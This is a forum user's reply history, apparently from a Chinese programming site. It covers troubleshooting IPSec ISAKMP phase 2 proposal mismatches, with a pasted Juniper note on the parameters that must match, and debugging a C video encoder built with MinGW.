回复了 feast 创建的主题 程序员 有没有什么比较好的工具用来解析 IPSec 的 ISAKMP 握手包
@Seumi 老兄非常感谢你的热心回复,但是你针对的是 traffic 阶段的 ESP 封包解密,但是我的意思是获取 ISKAMP 阶段 AH 封包的配置信息,AH 包是不加密的,是用来握手的

回复了 feast 创建的主题 程序员 有没有什么比较好的工具用来解析 IPSec 的 ISAKMP 握手包
@mason961125 很抱歉你这办法我似乎已经用过了,输出的日志就是看不到,Juniper 官方说至少要这些东西互相匹配才行,日志里似乎是看不到的

If phase 2 negotiation has been initiated, and you get the "Error = NO_PROPOSAL_CHOSEN" message, this indicates a mismatch in proposals between the two peers. The phase 2 proposal elements include the following:

Authentication algorithm (MD5, SHA1)
Encryption algorithm (DES, 3DES, AES128, AES192, AES256)
Lifetime kilobytes (sometimes referred to as lifesize)
Lifetime seconds
Protocol (AH, ESP)
Perfect Forward Secrecy (Diffie-Hellman group1, group2, group5)
If phase 2 fails to complete with an error in proposal, then confirm that remote peer has at least one proposal configured in which Authentication and Encryption algorithms, Protocol and Perfect Forward Secrecy (PFS) match at least one proposal on the local side. A common mis-configuration is PFS group key mismatch. Perhaps one side has PFS group key configured whereas the remote side may either not have PFS enabled or incorrect group key. Also, with some third-party non-Juniper devices, Lifetime in both kilobytes and/or seconds may also need to match.

回复了 feast 创建的主题 程序员 C 程序单步调试问题
@pkookp8 首先我说下基本情况,我是在网上找的一份别人写的,应该是用于 Linux 系统的代码,我对其做了部分修改,在 windows 下使用 mingw 工具编译通过,执行后只能够生成 0 字节的 Output.264,至于源文件,win 下应该不存在权限问题吧,现在不知道为啥已经把各种参数都已经传递给 pEncoder 了,然而根本程序就没有实际编码操作,如何 debug?毫无头绪,gdb 根本就反馈的不是一个错误,之前有看到 incorrect parameters passed to C runtime,难道是 MSVC 不兼容 Linux 下的语法?表示作为非程序员专业,修改压力很大
